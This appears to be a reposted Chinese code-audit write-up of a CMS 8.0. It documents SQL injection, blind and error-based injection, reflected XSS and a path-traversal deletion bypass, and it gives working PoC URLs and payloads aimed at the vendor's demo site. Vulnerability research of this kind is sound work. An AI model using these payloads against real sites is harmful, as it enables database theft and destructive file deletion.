Usual*** CMS 8.0代码审计
声明:公众号大部分文章来自团队核心成员和知识星球成员,少部分文章经过原作者授权和其它公众号白名单转载。未经授权,严禁转载,如需转载,请联系开白!
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者及本公众号无关!!!
注:本文首发于先知社区,https://xz.aliyun.com/t/8100
START
0x01前言
最近在做代码审计学习的相关练习,在cnvd看到该cms有个SQL注入,于是有了下面的代码审计,感谢这个过程中为我解答疑惑的师傅。
0x02后台a_book_category.php int型注入
跟进到query函数,发现没有任何过滤
POC:
官方演示站点,打个码以示尊重
http://cms.xxxx.com/demo/cmsadmin/a_book_category.php?t=mon&id=-1%20union%20select%201,user(),3%23
该php文件下另外一个触发点:
0x03后台a_pagex.php盲注
POC:
editorValue参数需要手动添加
pagename=test&istop=0&isbottom=0&title=test&webkey=test&description=test&editorValue=1'and if(ascii(substr(user(),1,1))=100,sleep(2),1)#&id=2&submit=%E7%BC%96%E8%BE%91
0x04后台反射型XSS
没什么用,这里用来熟悉xss的代码审计
- cmsadmin/a_payment.php
- cmsadmin/a_auth.php
- .....
POC:
http://cms.xxxxxx.com/demo/cmsadmin/a_auth.php?do=update&l=%22%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E
0x05后台a_bookx.php注入
mysqli_query不支持堆叠,无回显,初步构造payload:
t=move&id[0]=1',(select 1 and sleep(10)),'2
执行的SQL语句:
UPDATE cms_book set catid='' WHERE id in('1',(select 1 and sleep(10)),'2')
能够正确执行的SQL语句:
UPDATE cms_book set catid='' WHERE id in(1,(select 1 and sleep(10)))
因此初步设想以失败告终,$result返回bool值,True显示咨询删除成功,false则显示咨询删除失败,则可以if构造语句,语句判断语句为真则执行一条可执行的语句,假若为假执行一条报错语句即可使result为False的语句
updatexml,if条件真假与否都会报错
extractvalue,if条件真假与否都会报错
join报错:select id from mysql.user a join mysql.user b ,result返回结果均为true
floor报错:SELECT COUNT() FROM user GROUP BY FLOOR(RAND(0)2);同样返回结果均为true
exp(): mysql>=5.5.5会报错;mysql>=5.5.53,报错不能注出数据,我这里为5.5.53,但是可以用于使语句返回结果为false
POC:
http://cms.xxxx.com/demo/cmsadmin/a_bookx.php?t=move&id[0]=1%27)or%20if((substr((select%20user()),1,1))=%27d%27,(select%201),exp(~0));%23
这个点有更多姿势的师傅欢迎留言!!!
0x06总结删除指定目录
漏洞位置在a_modsx.php,id由用户传入,且有一层过滤
过滤逻辑存在问题,str_replace只替换一次,将../替换为空格,意味着可以进行绕过实现跨目录删除指定目录
.../...// --> ../
POC:
由于存在一定的影响,这里就不到人家官网验证了
END
免费星球:要求每个人在两周内输出一篇文章发到星球里面,文章为星球成员自己整理的内容,如超过两周没有文章输出的将被拉黑一个月,超过3次将被踢出星球,永久禁止加入!
收费星球:进入的星球成员可以在里面学习一年,包括贝塔安全实验室整理好的学习资料,可让星球管理及合伙人邀请加入免费星球,可以不用发文章,加入的免费星球免踢一年!
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 一篇文章学懂Shell脚本,最简明的教程在这里
- 一起来学matlab-matlab学习笔记10 10_5 通用字符串操作和比较函数
- 一个案例彻底弄懂如何正确使用 mysql inndb 联合索引
- 一起来学matlab-matlab学习笔记11 11_2 高维数组处理和运算 squeeze, ind2sub, sub2ind
- matlab结构体 rmfield,arrayfun,structfun,struct2cell,cell2struct
- PHP函数参数传递方法的具体改进技巧
- matlab学习笔记11_3 高维数组处理 filp, shiftdim, size, permute, ipermute
- 看完这篇文章,你的Linux基础就差不多了
- jzy3D从入门到弃坑
- git丢弃本地修改的所有文件(新增、删除、修改)
- Jmetal设置Solution Variables
- git log 查看某文件的修改历史
- 进程和线程的概念、区别和联系
- CDATA和转义字符
- 递归解决全排列问题